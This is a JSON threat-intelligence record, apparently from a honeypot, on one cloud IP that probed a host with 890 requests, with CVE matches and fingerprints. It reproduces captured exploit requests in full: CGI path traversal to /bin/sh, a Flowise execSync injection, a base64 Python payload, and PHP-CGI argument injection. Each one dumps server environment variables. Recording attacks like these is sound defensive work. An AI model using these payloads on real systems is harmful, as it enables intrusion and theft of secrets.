{"ip":"35.204.118.149","total_events":890,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"66 exploit-path hits","confidence":"high","network_type":null,"why":["66 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 11,737,521 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"11,737,521 bytes sent","bytes_sent":11737521,"session_seconds":17,"persistent":false}},"first_seen":"2026-10-06T00:51:32","last_seen":"2026-10-06T00:59:09","events_24h":890,"events_7d":890,"geo":{"country_code":"NL","country_name":"The Netherlands","region":"Groningen","city":"Groningen","lat":53.2222,"lon":6.5664,"asn":396982,"org":"Google LLC"},"source_domain":"149.118.204.35.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2022-22963","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter"},{"cve_id":"CVE-2024-4577","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe"},{"cve_id":"CVE-2021-43798","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins"},{"cve_id":"CVE-2026-33017","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow"},{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content"},{"cve_id":"CVE-2019-11248","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof"},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"},{"cve_id":"CVE-2026-56270","title":"Flowise <= 3.0.13 - Unauthenticated OAuth Configuration Disclosure","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/v1/loginmethod"},{"cve_id":"CVE-2024-56159","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map"}],"malware":[],"udp":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":890}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030107190100071503037aec07e2ff845e93e003eb8936f3980ffb11653b8eb11d25d0ce71b5a25118b720c4a8506d4cb5bdf17b8a471639a4a0286b317528157bf6c2ce03e40b6ce54dfd00209a9a130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f0035010006accaca0000000500050100000000003304ef04ed8a8a00010011ec04c09b785d74b28d64baa58d90b6d09554b12c812f6b877aec5a38d29f21912d41c3b5ba58b28727c15df4332fe331cf674eef0b7df7068a98b1734b76b5593181977c0dcf89729b009e4e28c533e705a6f147115a1f8cb3b61cb3aae52ccf5a724612bcbfa56bbf53fbc929177f0a578caef46ad4a14a1577483b452aaf4b571d056246c86b67db531d6b503225c82dc8263d121638a58b42a87881a0af7e18799d273bdd263d053963ecd3b1c06a2ad6fc68571b8796c4c4b5ab33e8a0085afa8a3ff30654370258215007ca09cc4b749a094d9fb82454798940291dae379ca68976642205ca72097195b21f33bd3b1052f88ccbe80c713413b7eb7ba3f54735c41646468a9f8d4b961a063a7ae6892cc51d1b6841c596b6f4741620094a2b661c5b438cf6e87b96e10544ab16b191b5602cb1d556c020b86535381e3473b61aa202df165292d33fcdc190061a46b26657acd52154c4b1c3d66a5e1263d141ae14b34eec741c6d4493ae1b73b9166e0aa1bad4c2cea2348ddbb1a33005b7a4587cc1f89b817b21f5c61d8ea647b1a10cf3fa458b0cceb18b25771a3a2480adbd17046ecc5c4790b902e57290c060ab99c45f95559ca8c9c3f5b5429b061077165ecb1345a78442f345dbe86776111e029675ec059678f54592549e3d0619ab04c726d3ad93a3c98be1cf0c437ac8bb3e034bca35169d8a9aa00fd6055827cd555686a7159b758a79ea02a51fc65d3668c34059b053c3548da6034d7a8b2e4064e56c14d4b0281d15a7092981e84c65979c147ec738c2872a1fc855e6ec889ed1953b2838671b27bdf22be8b663c1cb1117e0cc38c7136635cb0e22a363b45123200efdc06c142b38039920ada32a9260101cdca73fa0b9954cc97a6c81c3fc8129a4cedcbc0391961e53315376d8062d668b62761ecbb699af699f915a3b63812e06b765ba6a89a0d41054d434843749c1120dd1770f2e6b5030dc18811849e8039c1738ab6795572aa1791a437adb0cd06601be3c1a2772097b1b3a1f2bcc612fcb485e0265e4e123aed5b8a639130ea73704b6cb4d448ec37483a1aa473d9525408241073252f2468cdba6cbf8363a45e97a3e576b600c74b2605fde70cf7cb6570742cbe589a19cca26491bb2e88cb0759848c2ebcea2e09902d50bb897960f5068fc14796d791b6d7322fba9624747034650a0402ca2afec982a6185650c227141c1c02ab1ef52778a296b4920a89ad57dee5a81facb152db0316977c5006d8f0b03bf38f7a21ef7a3d1b2010218b509d03840e2689776c8bfc37deea0692daabd37b2bac90887dc43c1f3765ae4f04c93a879323bbb79b65f4e943e919834a00338e8c4436af006db4c6983a57913113c55249bd547844de14ee584a02ca42e1ef87f2a4b746f3bcbfcfa51e917a32840871c53b214717628b78636c4c2fa3b8e03d1a8458a00cfdaaa08163a1f415102c81437068a90c3158a04462ca62f965579e2b89a5629bd622156bdb4791c07523a73049baa6199121fdfb34572b54ce582cb080c90068413e032851140b07da479fc698653cb45297a99d5017117ab02a9f088e4162f22a513c7fa2b268310ab193671ab8a1a61355a77c0e76b16e9c0c2300275dee327146b63012250a2f2dab0ca7287cc0dc752003756581636c3249dec0c2a3a27716ed9067bfa8e96ca041f3b83314df979d92ce0f3709253001d0020231b90c620cccb808283e8f68e63189c1fd651ccc73eef0588d1c8605d8fc22944cd00050003026832002d00020101000b000201000017000000120000000d0012001004030804040105030805050108060601fe0d011a0000010001e60020164d4deea2a0566ef037c1924bc8d830321cb93b42c68f0155f88f31f33d494200f0ade6c993c72ab32b0634dad1f3e74ad005de7c58755e5482054440417724d03d304cc6eebed8931c566857a9c0a53255ea2d0be4a7ab0155f697ca39d5bf541a349c191e56499133f6e3904f5ca9a6c72b2a37031b5cdf80c3045a5dc3e2b429a3e16cf31030dee8ade0d40ab599e7367e7dbaf1114030e169e2e27302158c1f370b0d5a6aa35c3e08f2856cd51a599840505e133b7e971b29aa012288904e763faaafa8d994a72b19c6c332d7956fb1d0814fc15b58d87fbd278483f5bd28ddfb680528e7c1ffa038d2dc85ee2a34d9aa9016ea72ec5fc5be68548134f64ec3b347eeb818b5e98fa6b78b6158d5c69d000a000c000a8a8a11ec001d00170018002b0007063a3a030403030010000e000c02683208687474702f312e31ff010001000000001500130000106e6c312e7072696e636875622e636f6d00230000001b0003020002fafa0001","tls_ja3":["6f6f18c404bce0e4b9e32cef7f624291","66e39b8a4b6344c126aa1bdd6679521a","c062e02a539cb5a40181b7e0e189e8dd","e7701b239af98226c08a4b057a2dc256","6f25596ef78546acf1faa185887d4df0"],"http_akin":["b11cun062_00040016_84d4cebf_xce00d0f1","b11cun162_000c73fe_fe528c8e_xce00d0f1","b11cuq082_00050816_8184102b_xd0f1e7f3","b11cuq150_10057dde_0ef1dcbb","b11cun050_00440016_6289c865"]},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":15,"b11cuq150_10057dde_0ef1dcbb":11,"b11cun050_00440016_6289c865":52,"b11cun162_000c73fe_fe528c8e_xce00d0f1":11,"b11cun062_00040016_84d4cebf_xce00d0f1":11,"b11cuq082_00050816_8184102b_xd0f1e7f3":11},"akin_families":{"b11cuq082_00050816_8184102b_xd0f1e7f3":{"head":"b11cuq050_00050812_107c8b82","shapes":4,"ips":97}},"user_agents":["Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)","Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot","Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)","Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)","Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36"],"timeline":[{"date":"2026-10-06","count":890}],"recent_events":[{"timestamp":"2026-10-06T00:59:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"90\",\"content-type\":\"text/plain\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"CCBot/2.0 (https://commoncrawl.org/faq/)\"}","body":"echo Content-Type: text/plain; echo; env 2>/dev/null || cat /proc/self/environ 2>/dev/null","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","summary":"","payload_hex":"504f5354202f6367692d62696e2f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f62696e2f736820485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204343426f742f322e30202868747470733a2f2f636f6d6d6f6e637261776c2e6f72672f6661712f290d0a436f6e74656e742d4c656e6774683a2039300d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a6563686f20436f6e74656e742d547970653a20746578742f706c61696e3b206563686f3b20656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c","method":"POST","user_agent":"CCBot/2.0 (https://commoncrawl.org/faq/)","ja3":"a0aa2af61036dd1fc5f56cd5718e00a6","session":"165c6535-3856-40bd-84c7-1edc6b09f419","seq":30,"duration_ms":15961,"bytes_in":8575,"bytes_out":2370},{"timestamp":"2026-10-06T00:59:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20416d617a6f6e626f742f302e313b202b68747470733a2f2f646576656c6f7065722e616d617a6f6e2e636f6d2f737570706f72742f616d617a6f6e626f74290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)","ja3":"a0aa2af61036dd1fc5f56cd5718e00a6","session":"165c6535-3856-40bd-84c7-1edc6b09f419","seq":31,"duration_ms":16391,"bytes_in":9040,"bytes_out":2449},{"timestamp":"2026-10-06T00:59:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/flowise/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f666c6f776973652f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20416d617a6f6e626f742f302e313b202b68747470733a2f2f646576656c6f7065722e616d617a6f6e2e636f6d2f737570706f72742f616d617a6f6e626f74290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)","ja3":"a0aa2af61036dd1fc5f56cd5718e00a6","session":"165c6535-3856-40bd-84c7-1edc6b09f419","seq":32,"duration_ms":16546,"bytes_in":9513,"bytes_out":2528},{"timestamp":"2026-10-06T00:59:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"141\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)\"}","body":"code=aW1wb3J0IG9zOyByYWlzZSBFeGNlcHRpb24ob3MucG9wZW4oJ2VudiAyPi9kZXYvbnVsbCB8fCBjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uIDI-L2Rldi9udWxsJykucmVhZCgpKQ==","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/exec-py","summary":"","payload_hex":"504f5354202f657865632d707920485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2043686174474c4d2d5370696465722f312e303b202b68747470733a2f2f7a6869707561692e636e2f290d0a436f6e74656e742d4c656e6774683a203134310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f64653d6157317762334a304947397a4f79427959576c7a5a53424665474e6c634852706232346f62334d75634739775a57346f4a325675646941795069396b5a585976626e5673624342386643426a595851674c33427962324d76633256735a69396c626e5a70636d39754944492d4c32526c64693975645778734a796b75636d56685a4367704b513d3d","method":"POST","user_agent":"Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)","ja3":"a0aa2af61036dd1fc5f56cd5718e00a6","session":"165c6535-3856-40bd-84c7-1edc6b09f419","seq":33,"duration_ms":16697,"bytes_in":9877,"bytes_out":2607},{"timestamp":"2026-10-06T00:59:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f7068702d6367692f7068702d6367692e6578653f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20475054426f742f312e343b202b68747470733a2f2f6f70656e61692e636f6d2f677074626f740d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot","ja3":"a0aa2af61036dd1fc5f56cd5718e00a6","session":"165c6535-3856-40bd-84c7-1edc6b09f419","seq":24,"duration_ms":15115,"bytes_in":6419,"bytes_out":1896},{"timestamp":"2026-10-06T00:59:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068702d6367692e6578653f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20475054426f742f312e343b202b68747470733a2f2f6f70656e61692e636f6d2f677074626f740d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot","ja3":"a0aa2af61036dd1fc5f56cd5718e00a6","session":"165c6535-3856-40bd-84c7-1edc6b09f419","seq":25,"duration_ms":15254,"bytes_in":6817,"bytes_out":1975},{"timestamp":"2026-10-06T00:59:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204b696d69426f742f312e303b202b68747470733a2f2f6b696d692e61692f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)","ja3":"a0aa2af61036dd1fc5f56cd5718e00a6","session":"165c6535-3856-40bd-84c7-1edc6b09f419","seq":26,"duration_ms":15381,"bytes_in":7161,"bytes_out":2054},{"timestamp":"2026-10-06T00:59:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f696e6465782e7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2050616e6775426f742f312e303b202b68747470733a2f2f7777772e687561776569636c6f75642e636f6d2f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)","ja3":"a0aa2af61036dd1fc5f56cd5718e00a6","session":"165c6535-3856-40bd-84c7-1edc6b09f419","seq":27,"duration_ms":15511,"bytes_in":7513,"bytes_out":2133},{"timestamp":"2026-10-06T00:59:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php-cgi?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068702d6367693f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d69737472616c41492d557365722f312e303b202b68747470733a2f2f6d69737472616c2e61692f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)","ja3":"a0aa2af61036dd1fc5f56cd5718e00a6","session":"165c6535-3856-40bd-84c7-1edc6b09f419","seq":28,"duration_ms":15667,"bytes_in":7868,"bytes_out":2212},{"timestamp":"2026-10-06T00:59:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"nl1.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"nl1.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"nl1.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a206e6c312e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20475054426f742f312e343b202b68747470733a2f2f6f70656e61692e636f6d2f677074626f740d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot","ja3":"a0aa2af61036dd1fc5f56cd5718e00a6","session":"165c6535-3856-40bd-84c7-1edc6b09f419","seq":29,"duration_ms":15811,"bytes_in":8255,"bytes_out":2291}],"http_methods":[{"method":"GET","count":804},{"method":"POST","count":80},{"method":"DELETE","count":6}],"distinct_ports_total":1,"top_paths":[{"path":"/v1/graphql","count":11,"ports":1},{"path":"/api/config","count":5,"ports":1},{"path":"/model/info","count":4,"ports":1},{"path":"/","count":4,"ports":1},{"path":"/feast/read-document","count":4,"ports":1},{"path":"/api/templates/preview","count":4,"ports":1},{"path":"/read-document","count":4,"ports":1},{"path":"/actuator/gateway/routes","count":4,"ports":1},{"path":"/api/auth","count":4,"ports":1},{"path":"/api/designer/v1/file-content","count":4,"ports":1},{"path":"/graphql","count":3,"ports":1},{"path":"/actuator/mappings","count":3,"ports":1},{"path":"/openapi.json","count":3,"ports":1},{"path":"/actuator/loggers","count":3,"ports":1},{"path":"/actuator/configprops","count":3,"ports":1}],"distinct_paths_total":200,"top_snis":[{"value":"nl1.princhub.com","count":890}],"top_hosts":[{"value":"nl1.princhub.com","count":890}],"top_alpns":[{"value":"h2, http/1.1","count":890}],"banners":[],"credentials":[{"username":"","password":"bypass","count":4}],"header_profile":{"signature":["Accept-Encoding","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"90","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"nl1.princhub.com","notable":false},{"name":"User-Agent","value":"CCBot/2.0 (https://commoncrawl.org/faq/)","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2022-22963","tag_type":"cve","title":"Spring Cloud - Remote Code 